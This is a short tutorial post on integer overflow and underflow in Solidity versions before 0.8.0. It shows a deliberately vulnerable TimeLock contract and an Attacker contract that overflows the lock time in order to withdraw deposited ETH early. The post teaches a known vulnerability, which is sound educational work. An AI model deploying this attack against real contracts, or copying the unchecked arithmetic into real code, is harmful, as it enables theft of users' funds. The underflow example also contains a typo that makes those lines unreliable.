As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.
First let us understand what underflow/overflow is:
- Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0
Eg: uint var1 = 2**256 - 1
var1 + 1 will be 0
var1 + 2 will be 1
- Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1)
Eg: uint var2 = 0
var2 -1 = 2*256 -1
var2 -2 = 2*256 -2
Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.
contract TimeLock { mapping (address => uint) public balances; mapping (address => uint) public lockTime; function deposit() external payable{ // to deposit balances[msg.sender] += msg.value; lockTime[msg.sender] += block.timestamp + 1 weeks; } function withdraw() external { // to withdraw uint bal = balances[msg.sender]; require(bal > 0, "No balance to withdraw"); require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); balances[msg.sender] = 0; // updating before sending, to avoid reentrancy (bool sent,) = msg.sender.call{value: bal}(""); require(sent, "Send ETH failed"); } function increaseTimeLimit(uint _seconds) external { // to increase lock time lockTime[msg.sender] += _seconds; } }
Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow lockTime[msg.sender]
. Once this is done, require(lockTime[msg.sender] <= block.timestamp, "Time left yet");
in withdraw()
function will pass (because lockTime[msg.sender]
will be equal to a small number after overflow).
Let's see how attacker can achieve this:
contract Attacker { TimeLock timeLockContract; receive() external payable{ } constructor(address _timeLock) { timeLockContract = TimeLock(_timeLock); } function deposit() external payable { timeLockContract.deposit{value: msg.value}(); } function attack() external { timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this)))); timeLockContract.withdraw(); } function getBalance() external view returns(uint) { return address(this).balance; } }
In the attack()
function, we are using underflow to get a very big number: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
. This big number is added to lockTime[msg.sender]
in TimeLock contract to cause overflow. And hence the withdraw is executed.
Top comments (0)